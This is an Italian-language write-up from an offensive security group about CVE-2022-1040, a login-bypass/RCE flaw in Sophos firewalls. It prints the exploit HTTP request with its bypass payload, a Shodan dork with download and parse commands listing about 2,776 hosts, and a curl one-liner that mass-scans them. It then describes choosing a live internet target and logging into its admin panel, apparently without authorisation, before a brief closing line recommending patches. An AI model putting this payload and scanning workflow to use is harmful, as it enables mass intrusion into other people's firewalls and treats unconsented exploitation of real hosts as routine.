
CVE-2022-1040
Nel gruppo di ricerca Toasec, dedicato alla cybersecurity offensiva, ci siamo dati il compito di condurre l'analisi su questa vulnerabilità nei firewall Sophos.
Tale vulnerabilità, come molte altre, può essere segnalata e trovata se sai cercare su twitter, dove abbiamo osservato che a partire dal mese di marzo sono iniziati a comparire articoli sul RCE
Se osserviamo i repository che hanno le POC
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
Possiamo osservare il payload (mode=151&json=) che ci consente di effettuare il bypass del login e osserviamo allo stesso modo l'endpoint webconsole/webpages/login.jsp
Ora passiamo ad analizzare gli attacchi su greynose e verificare se viene sfruttato attivamente

Una volta identificato l'endpoint e verificate alcune route utilizzate negli attacchi con greynoise, possiamo creare il nostro dork su shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" questo dork è quello che abbiamo identificato con maggiore probabilità, ma dobbiamo ricordare che le versioni vulnerabili sono Sophos XG115w Firewall 17.0.10 MR-10

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
Procediamo a verificare i dati
Andiamo a parsare i dati in un formato che ci permetta l'automazione e osserviamo che esistono 2776 possibili target
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Ora dobbiamo pulire e rimuovere le virgole per rendere più facile lavorare con l'onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
Ora possiamo lavorare con l'onliner in un formato più adeguato
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

Una volta verificati i nostri target, è solo questione di selezionarne uno ed eseguire il test, accedendo al pannello di login

Intercettiamo la richiesta di login e la inviamo al responder

Modifichiamo la richiesta con il payload e dobbiamo ottenere un reindirizzamento all'amministrazione del firewall

Proviamo ad accedere alla route index.jsp

Abbiamo verificato che la vulnerabilità è presente nel target, allo stesso modo si trova attiva in molti host, tuttavia ad oggi è stata osservata un'ampia mitigazione per quanto riguarda altre vulnerabilità.
In questi casi, la priorità è eseguire un aggiornamento e installare le patch di sicurezza non appena sono messe a disposizione dai produttori.